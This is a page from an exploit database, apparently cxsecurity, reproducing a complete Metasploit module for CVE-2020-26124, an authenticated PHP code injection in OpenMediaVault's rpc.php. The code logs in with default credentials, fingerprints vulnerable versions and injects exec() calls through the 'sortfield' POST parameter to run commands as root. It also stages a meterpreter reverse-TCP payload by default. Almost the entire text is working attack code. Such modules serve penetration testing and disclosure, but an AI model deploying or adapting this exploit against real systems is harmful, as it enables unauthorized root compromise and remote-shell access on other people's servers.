OpenMediaVault rpc.php Authenticated PHP Code Injection

2020.11.25
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-94

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection', 'Description' => %q{ This module exploits an authenticated PHP code injection vulnerability found in openmediavault versions before 4.1.36 and 5.x versions before 5.5.12 inclusive in the "sortfield" POST parameter of the rpc.php page, because "json_encode_safe()" is not used in config/databasebackend.inc. Successful exploitation grants attackers the ability to execute arbitrary commands on the underlying operating system as root. }, 'Author' => [ 'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module ], 'References' => [ ['CVE', '2020-26124'], ['URL', 'https://www.openmediavault.org/?p=2797'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => { 'BadChars' => "\x00" }, 'DisclosureDate' => 'Sep 28 2020', 'Targets' => [ [ 'Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper ] ], 'Privileged' => false, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']), OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']) ] ) end def user datastore['USERNAME'] end def pass datastore['PASSWORD'] end def login(user, pass, _opts = {}) print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...") @uri = normalize_uri(target_uri.path, '/rpc.php') res = send_request_cgi({ 'uri' => @uri, 'method' => 'POST', 'ctype' => 'application/json', 'data' => { "service": 'Session', "method": 'login', "params": { "username": user.to_s, "password": pass.to_s }, "options": nil }.to_json }) unless res # We return nil here, as callers should handle this case # specifically with their own unique error message. return nil end if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(\w+);*/).flatten.first @cookie = res.get_cookies end return res rescue ::Rex::ConnectionError print_error('Rex::ConnectionError caught in login(), could not connect to the target.') return nil end def get_target print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.") res = send_request_cgi({ 'uri' => @uri, 'method' => 'POST', 'cookie' => @cookie.to_s, 'data' => { "service": 'System', "method": 'getInformation', "params": nil, "options": { "updatelastaccess": false } }.to_json }) version = res.body.scan(/"version\":\"(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first if version.nil? print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!") return nil end print_good("#{peer} - Identified OpenMediaVault version #{version}.") version_gemmed = Gem::Version.new(version) if version_gemmed < Gem::Version.new('3.0.1') return version elsif version_gemmed >= Gem::Version.new('4.0.0') && version_gemmed < Gem::Version.new('4.1.36') return version elsif version_gemmed >= Gem::Version.new('5.0.0') && version_gemmed < Gem::Version.new('5.5.12') return version else return nil end return version end def execute_command(cmd, _opts = {}) send_request_cgi({ 'uri' => @uri, 'method' => 'POST', 'cookie' => @cookie.to_s, 'data' => { "service": 'LogFile', "method": 'getList', "params": { "id": 'apt_history', "start": 0, "limit": 50, "sortfield": "'.exec(\"#{cmd}\").'", "sortdir": 'DESC' }, "options": nil }.to_json }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.') end def check res = login(user, pass) unless res return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!") end if @cookie.nil? return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}") end print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.") version = get_target if version.nil? # We don't print out an error message here as returning this will # automatically cause Metasploit to print out an appropriate error message. return CheckCode::Safe end delay = rand(7...15) cmd = "\").usleep(#{delay}0000).(\"" print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.") t1 = Time.now.to_i res = execute_command(cmd) t2 = Time.now.to_i unless res print_error("#{peer} - Connection failed whilst trying to perform the code injection.") return CheckCode::Detected end diff = t2 - t1 if diff >= 3 print_good("#{peer} - Response received after #{diff} seconds.") return CheckCode::Vulnerable end print_error("#{peer} - Response wasn't received within the expected period of time.") return CheckCode::Safe rescue ::Rex::ConnectionError print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.") return CheckCode::Unknown end def exploit print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...") execute_cmdstager(linemax: 130_000) rescue ::Rex::ConnectionError print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.') return false end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top